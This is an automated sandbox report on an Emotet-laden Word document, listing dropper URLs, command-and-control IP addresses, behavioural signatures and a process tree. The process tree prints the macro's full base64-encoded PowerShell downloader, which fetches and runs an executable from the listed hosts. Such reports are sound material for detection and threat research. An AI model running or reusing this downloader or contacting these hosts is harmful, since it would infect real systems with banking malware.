Analysis

  • max time kernel
    145s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    03/09/2020, 19:15

General

  • Target
    REP_NIW4M279H.doc
  • Size 187KB
  • Sample200903-qb2mk2lfw6
  • SHA256 fbede719be1983fff9ca06d29412edfcfbac49c78901582ccf686c3f3e50e2c5
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://dvers.me/cgi-bin/s/

  • exe.dropper

    http://fabregat.eu/images/q/

  • exe.dropper

    http://ezola.fr/Accessoires/IKh/

  • exe.dropper

    http://finewines.com.sg/wset-2-registration/6bsizM/

  • exe.dropper

    http://fernsehservice-stara.de/cgi-bin/x/

  • exe.dropper

    http://familienbande-ley.de/cgi-bin/tKX/

  • exe.dropper

    http://ketisch.de/adina/G/

Extracted

Family
  • emotet

C2
  • 192.158.216.73:80

  • 85.214.28.226:8080

  • 142.44.137.67:443

  • 162.241.242.173:8080

  • 85.152.162.105:80

  • 62.30.7.67:443

  • 78.24.219.147:8080

  • 74.120.55.163:80

  • 169.239.182.217:8080

  • 216.208.76.186:80

  • 95.213.236.64:8080

  • 200.114.213.233:8080

  • 104.131.44.150:8080

  • 70.121.172.89:80

  • 75.139.38.211:80

  • 185.94.252.104:443

  • 97.82.79.83:80

  • 103.86.49.11:8080

  • 79.98.24.39:8080

  • 83.169.36.251:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_NIW4M279H.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4040
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2360
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAEwAZQBcAEEAVQBRAGkAZgBGADAAXABNAE8AZwBqAE4AcgA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBVAGAAUgBJAHQAeQBQAGAAUgBvAHQAYABvAEMAbwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACgAJwAsACAAdABsACcAKwAnAHMAMQAxACcAKQArACcALAAgACcAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAEQAcwAwAHkAcAB4AHIAIAA9ACAAKAAoACcATQAnACsAJwBvAGIAJwApACsAJwB3ACcAKwAoACcAdQBvACcAKwAnADYAJwApACkAOwAkAEcAcwAyADkAXwBrAHMAPQAoACcAUgByACcAKwAoACcAbQB3AHoAJwArACcAOQA3ACcAKQApADsAJABaAGgANwBpAGwAZwB0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQwBRACcAKwAnADkAQQB1AHEAJwArACcAaQAnACkAKwAnAGYAJwArACgAJwBmADAAQwAnACsAJwBRACcAKQArACcAOQBNACcAKwAoACcAbwAnACsAJwBnAGoAJwApACsAKAAnAG4AcgAnACsAJwA1ACcAKQArACgAJwBDAFEAJwArACcAOQAnACkAKQAgAC0AQwBSAGUAcABMAGEAQwBlACAAIAAoACcAQwBRACcAKwAnADkAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAEQAcwAwAHkAcAB4AHIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKADgAOAB5AGsAYwBfAD0AKAAnAFkAJwArACcAMwAzACcAKwAoACcAMAAnACsAJwBwAGkAOQAnACkAKQA7ACQATgA5ADMAOQAyAHMAaQA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAEwAaQBFAG4AVAA7ACQAUwA3AG0AYQBuAG4AZwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AZAAnACsAKAAnAHYAJwArACcAZQByAHMAJwApACsAJwAuACcAKwAoACcAbQBlAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAvAHMALwAnACsAJwAqAGgAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBmAGEAJwArACcAYgByAGUAZwAnACsAJwBhAHQALgBlACcAKQArACgAJwB1AC8AaQAnACsAJwBtAGEAJwArACcAZwBlACcAKQArACgAJwBzAC8AJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACsAJwB0AHAAOgAvAC8AZQB6ACcAKQArACgAJwBvAGwAYQAnACsAJwAuACcAKQArACcAZgAnACsAJwByAC8AJwArACcAQQAnACsAKAAnAGMAYwAnACsAJwBlAHMAJwArACcAcwBvAGkAJwApACsAJwByAGUAJwArACgAJwBzAC8AJwArACcASQAnACkAKwAoACcASwBoACcAKwAnAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBmACcAKQArACcAaQAnACsAKAAnAG4AZQAnACsAJwB3AGkAJwApACsAJwBuAGUAJwArACcAcwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALgBzACcAKwAnAGcAJwApACsAJwAvACcAKwAnAHcAcwAnACsAKAAnAGUAdAAnACsAJwAtADIALQByAGUAZwBpACcAKwAnAHMAJwArACcAdAByACcAKQArACcAYQB0ACcAKwAoACcAaQBvAG4ALwA2AGIAcwBpACcAKwAnAHoAJwArACcATQAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAZQAnACsAJwByACcAKQArACcAbgBzACcAKwAoACcAZQBoAHMAZQAnACsAJwByAHYAaQBjACcAKwAnAGUALQAnACsAJwBzAHQAJwArACcAYQByAGEALgAnACkAKwAnAGQAJwArACcAZQAnACsAJwAvAGMAJwArACcAZwBpACcAKwAoACcALQBiAGkAbgAnACsAJwAvAHgAJwArACcALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AZgBhAG0AJwApACsAJwBpACcAKwAoACcAbABpACcAKwAnAGUAJwApACsAJwBuACcAKwAoACcAYgBhAG4AZABlAC0AJwArACcAbAAnACkAKwAnAGUAeQAnACsAKAAnAC4AZABlAC8AYwAnACsAJwBnACcAKwAnAGkALQBiAGkAbgAvACcAKwAnAHQASwBYAC8AKgBoAHQAdABwADoALwAnACsAJwAvAGsAZQB0ACcAKwAnAGkAJwApACsAJwBzACcAKwAoACcAYwBoAC4AZABlAC8AYQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAG4AYQAvAEcAJwArACcALwAnACkAKQAuACIAUwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGUAawBlAGoAaQB1AD0AKAAnAFoAJwArACgAJwBoACcAKwAnAGgAOQAnACkAKwAoACcAZgAnACsAJwA1ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBADAAOABiAGYAYQB3ACAAaQBuACAAJABTADcAbQBhAG4AbgBnACkAewB0AHIAeQB7ACQATgA5ADMAOQAyAHMAaQAuACIAZABvAHcATgBMAGAATwBBAEQARgBgAEkAbABFACIAKAAkAEEAMAA4AGIAZgBhAHcALAAgACQAWgBoADcAaQBsAGcAdAApADsAJABOAGEAaQB4AHIAZwB0AD0AKAAnAE4AMgAnACsAJwBfACcAKwAoACcAaQBzAHUAJwArACcAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABaAGgANwBpAGwAZwB0ACkALgAiAGwAYABFAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADQANwA5ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAaAA3AGkAbABnAHQAKQA7ACQASwB5AHUAeAAzADIAZgA9ACgAKAAnAFYAegBjACcAKwAnADYAJwApACsAKAAnAGMANQAnACsAJwBlACcAKQApADsAYgByAGUAYQBrADsAJABGAHAAbwBhAGsAcQA0AD0AKAAoACcAQwB3ACcAKwAnAHQAJwApACsAJwBqACcAKwAoACcAbQAnACsAJwB1AG8AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAbgAyAGcAZgA5ADMAPQAoACgAJwBCACcAKwAnAGoAeQAnACkAKwAnAHIAJwArACgAJwByACcAKwAnAGwAcQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe
      "C:\Users\Admin\Auqiff0\Mogjnr5\Mobwuo6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:3824
      • C:\Windows\SysWOW64\MSAMRNBEncoder\Windows.Web.Diagnostics.exe
        "C:\Windows\SysWOW64\MSAMRNBEncoder\Windows.Web.Diagnostics.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3916

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/208-9-0x00007FFB53BF0000-0x00007FFB545DC000-memory.dmp

        memory/208-10-0x0000018E649F0000-0x0000018E649F1000-memory.dmp

        memory/208-11-0x0000018E7D220000-0x0000018E7D221000-memory.dmp

        memory/3824-15-0x00000000025D0000-0x00000000025DC000-memory.dmp

        memory/3916-18-0x00000000004D0000-0x00000000004DC000-memory.dmp

        memory/4040-0-0x00007FFB5AD20000-0x00007FFB5B3E6000-memory.dmp